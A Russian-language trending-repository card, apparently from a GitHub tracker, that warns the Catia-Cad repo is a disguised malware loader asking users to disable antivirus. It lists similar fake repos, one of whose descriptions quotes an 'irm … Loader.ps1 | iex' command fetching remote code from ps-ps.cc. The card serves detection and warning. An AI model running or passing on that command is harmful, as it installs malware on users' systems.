# BarbPixelAxe/Catia-Cad > Репозиторий маскируется под оптимизацию CAD-среды Catia, но по сути это установщик, запускающий сторонний PowerShell-скрипт с внешнего домена и предлагающий отключить антивирус. Никакого реального кода CAD-оптимизации в README не описано. - Магнитуда: 5,9 из 10 — Ранний сигнал - Звёзды: 157 всего · +169 звёзд сегодня, к вечеру ≈ 220 - Доверие к звёздам: рост звёзд выглядит естественно - Категория: Безопасность · Создан: 2026-10-01 · Последний коммит: 2026-10-01 - GitHub: https://github.com/BarbPixelAxe/Catia-Cad · Страница: https://gitnova.dev/r/BarbPixelAxe/Catia-Cad ## Чем пригодится - Распознать потенциально опасный установщик, запускающий удалённый PowerShell-скрипт - Проверить репозиторий на признаки вредоносной схемы перед запуском ## Почему он здесь - Сегодня уже 169 звёзд, к концу дня ожидается около 221. - Репозиторию 1 день, а у него уже 157 звёзд. Истории меньше двух недель, так что обычного темпа, с которым можно сравнить всплеск, у него ещё нет. - Топ новых репозиториев за неделю: #94. - Около 151 форков в сутки — код забирают себе. ## Доверие к звёздам Рост звёзд выглядит естественно. Метки доверия к звёздам — эвристики по поведению репозитория, а не проверка каждого, кто поставил звезду. ## Цифры - Форков: 21 - Issues и pull requests: 0 - Наблюдателей: 0 - В среднем за неделю: 110 в день - Обычный темп: мало истории (меньше двух недель) - Звёзд за последний час (по замерам): 44 ## Звёзды по дням за 6 дней (от старых к новым, сегодня — неполный день) 2026-09-27 … 2026-10-02: 0, 0, 0, 0, 0, 169 ## Где замечен сейчас - Топ новых репозиториев за неделю: #94 ## Похожие по описанию 1. **Pulverizeclirouse/StartAll-Back** — 5,7 · Ранний сигнал · Безопасность · +131 звезда сегодня, к вечеру ≈ 171 Репозиторий маскируется под утилиту оптимизации StartAll Back, но по сути это скрипт-загрузчик: README предлагает выполнить `irm https://ps-ps.cc/powershell/Loader.ps1 | iex` и отключить антивирус. Никакого реального кода, описания или… Полная карточка: https://gitnova.dev/r/Pulverizeclirouse/StartAll-Back.md 2. **TitanWaspShape35/Kontakt-8** — 5,5 · Ранний сигнал · Безопасность · +101 звезда сегодня, к вечеру ≈ 132 Репозиторий маскируется под Kontakt 8, но README описывает установку через PowerShell-скрипт с внешнего домена и отключение антивируса — типичные признаки вредоносного загрузчика, а не легитимного проекта. Полная карточка: https://gitnova.dev/r/TitanWaspShape35/Kontakt-8.md 3. **ashdriverclippers/Microsoft-Visio** — 5,7 · Ранний сигнал · Безопасность · +143 звезды сегодня, к вечеру ≈ 187 Репозиторий маскируется под «оптимизацию Microsoft Visio», но по сути это скрипт-загрузчик, который через PowerShell запускает удалённый код с ps-ps.cc и предлагает отключить антивирус. Признаки вредоносного/пиратского установщика, а не… Полная карточка: https://gitnova.dev/r/ashdriverclippers/Microsoft-Visio.md 4. **surfaceguardianway/Better-Discord** — 5,8 · Ранний сигнал · Безопасность · +172 звезды сегодня, к вечеру ≈ 224 Репозиторий маскируется под оптимизационный набор для BetterDiscord, но по факту предлагает запустить сторонний PowerShell-скрипт, который вносит правки в реестр и отключает защиту Windows. Признаки типичного вредоносного/пиратского… Полная карточка: https://gitnova.dev/r/surfaceguardianway/Better-Discord.md 5. **ElectronCrystal/Discord-Server-Cloner** — 5,9 · Ранний сигнал · Безопасность · +160 звёзд сегодня, к вечеру ≈ 209 Репозиторий под видом «Discord Server Cloner» распространяет PowerShell-скрипт, который предлагает отключить антивирус и выполнить удалённый код через irm | iex. Реального кода клонирования серверов Discord в README нет. Полная карточка: https://gitnova.dev/r/ElectronCrystal/Discord-Server-Cloner.md --- Магнитуда (0–10) — насколько быстро и необычно сейчас растёт интерес к репозиторию. Это не оценка качества. Дни — по UTC. «Уже сегодня» — факт, «к вечеру ≈» — прогноз. Описания и сценарии пишет модель (DeepSeek V4.1 Flash) по README, в деталях возможны ошибки: конкретные утверждения (замеры, скорость, железо) проверяйте в самом репозитории. Данные на 2026-10-02 16:40 UTC, обновление каждые 30 минут.